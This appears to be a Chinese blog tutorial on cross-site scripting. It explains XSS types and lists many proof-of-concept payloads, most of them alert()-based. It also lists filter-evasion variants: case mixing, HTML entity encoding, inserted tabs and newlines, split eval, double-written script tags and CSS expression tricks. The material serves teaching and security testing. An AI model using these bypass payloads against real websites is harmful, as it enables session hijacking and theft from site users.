049 xss跨站脚本攻击一

一:XSS漏洞概述

XSS做为OWASP TOP 10之一,XSS被称为跨站脚本攻(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS主要基于javascript完成恶意的攻击行为。JS可以非常灵活的操作html,css和浏览器,这使得XSS攻击的“想象”空间特别大。

XSS通过将精心构造的代码(JS代码)注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的对象就是用户和浏览器。

微博,留言板,聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格的过滤,就会被XSS。

XSS漏洞发生在服务器,但是运行环境在客户端。

二:危害

XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种:
		盗取各种用户账号
		窃取用户Cookie资料,冒充用户身份进入网站
		劫持用户会话,执行任意操作
		刷流量,执行弹窗广告
		传播蠕虫病毒
		等等

在这里插入图片描述

三:XSS漏洞的验证

我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。
几个常见的概念:
	POC				漏洞的验证与检测
	EXP				漏洞的完整利用工具
	shellcode		利用漏洞时,所执行的代码
	payload			攻击载荷。在sqlmap中,攻击代码的模板。   在msf中,与shellcode类似,功能是建立与目标的连接

验证XSS漏洞存在的PoC如下:
	<script>alert(/xss/)</script>			常用   	弹框
	<script>confirm('xss')</script>					确认框
	<script>prompt('xss')</script>					输入框
我们可以在测试页面中提交这样的代码<script>alert(/xss/)</script>,会发现提交的代码被当作字符串输出在html页面中,
浏览器会根据<srcipt>标签识别为JS语句,并会执行它,执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性。

四:XSS的分类

xss漏洞大概可以分为三个类型:反射型xss,存储型xss,DOM型xss。
		反射型xss:
			是非持久性,参数型的跨站脚本。反射型xss的JS代码在web应用的参数(变量)中,如搜索框的反射型xss
			在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型xss
			注意到,我们提交的poc会出现在search.php页面的keywords参数中。
		存储型xss
			存储型xss是持久性跨站脚本。持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等就可以永久保存数据的介质中。
			存储型xss通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。
			此时,我们只完成了第一步,将恶意代码写入数据库。因为xss使用的JS代码,JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的xss代码,
			才能真正触发xss。此时,需要我们模拟网站后台管理员的身份,查看留言。
		DOM型xss
			DOM型xss比较特殊。owasp关于DOM型xss的定义是基于DOM的一种xss攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。
			其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型xss比较难以检测。如下面的例子:
			[#message=<script>alert(/xss/)</script>]
			我们以锚点的方式提交PoC。在html代码中#号后面接的是锚点
			PoC并不会发送到服务器,但是已经出发了xss。
				查看提交参数后的html页面(DOM树),会形成鲜明的对比

 

五:xss的构造

5.1:利用<>构造html/js

利用[<>]构造html/js
	可以利用<>构造html标签和<script>标签。
	在测试页面提交参数[<h1 style='color:red'>利用[<>]构造html/js</h1>]
	提交[<script>alert(/xss/)</script>]

在这里插入图片描述
在这里插入图片描述

5.2:伪协议

伪协议
	使用javascript:伪协议的方式构造xss
	
	提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发xss
	也可以使用img标签的伪协议,但是这种方法在IE6下测试成功。[<img src="javascript:alert('xss')">]

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
 

5.3:产生自己的事件

“事件驱动”是一种比较经典的编程思想,在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应。所以我们可以通过事件触发JS函数,触发XSS。

事件种类:

事件内容
windows事件对windows对象触发的事件
Form事件html表单内的动作触发事件
keyboard事件键盘按键
mouse事件由鼠标或类似用户动作触发的事件
media事件由多媒体触发的事件

如:<img src='./smile.jpg' onmouseover='alert(/xss/)'>这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发xss代码。

单行文本框的键盘点击事件,<input type="text" onkeydown="alert(/xss/)">,当点击键盘任意一个按键的时候触发。(按下)

单行文本框的键盘点击事件,<input type="text" onkeyup="alert(/xss/)">,当点击键盘任意一个按键的时候触发。(松开)

<input type="button" onclick="alert(/xss/)">
<img src='./smile.jpg' onmouseover='alert(/xss/)'>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
 

5.4:其他标签以及手法

我们也可以用其他标签触发XSS
<svg onload="alert(/xss/)"> 这个语句还是比较简洁的。
<input onfocus=alert(/xss/) autofocus>				onfocus:聚焦
补充:svg标签??			
	SVG(Scalable Vector Graphics)is an XML-based Language for creating graphics.这是MDN英文文档对svg的介绍。
	svg支持css,这一点有效的将图形和样式区分开。
	svg的应用:
	1、绘图
	2、动画

 

六:xss的变形

我们可以构造的xss代码进行各种变形,以绕过xss过滤器的检测。变形方式主要有以下几种:

6.1:大小写转换

可以将payload进行大小写转化。
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>

在这里插入图片描述
在这里插入图片描述

6.2:引号的使用

html语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
<img src="#" onerror="alert(/xss/)" />
<img src='#' onerror='alert(/xss/)' />
<img src=# onerror=alert(/xss/) />

6.3:/ 代替空格

可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />

6.4:回车

我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<Img/sRc='#'/Onerror	='alert(/xss/)' />
<A hREf=""j
avas	
c	ript:alert(/xss/)">click me!</a>

6.5:对标签属性值进行转码

可以对标签属性值进行转码,用来绕过过滤。对应编码如下
字母		ASCII码		十进制码			十六进制码
 a			  97		  &#97;			  &#x61;
 e			  101		 &#x101;		  &#x65;
经过简单编码之后的样子。
<A hREf="j&#97;v&#x61;script:alert(/xss/)">click me!</a>

另外,我们可以将以下字符插入到任意位置
	Tab			&#9
	换行		&#10
	回车		&#13
可以将以下字符插入到头部位置
	SOH			&#01
	STX			&#02
经过编码后的样子
<A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
click me!
</a>

6.6:拆分跨站

<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>			“eval()可以接受一个字符串str作为参数,并把这个参数作为脚本代码来 执行。”

6.7:双写绕过

有时候会过滤掉<script>标签,利用如下写法,过滤一次之后,两边的<scr和ipt>重新组成<script>标签。
<scr<script>ipt>

 

七:css中的变形

1:使用全角字符
		width:expression(alert(/xss/))
2:注释会被浏览器忽略
		width:expr/*~*/ession(alert(/x~s~s/))
3:样式表中的[\]和[\0]
		<style>@import 'javasc\ri\0pt:alert("xss")';</style>
  • 0
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值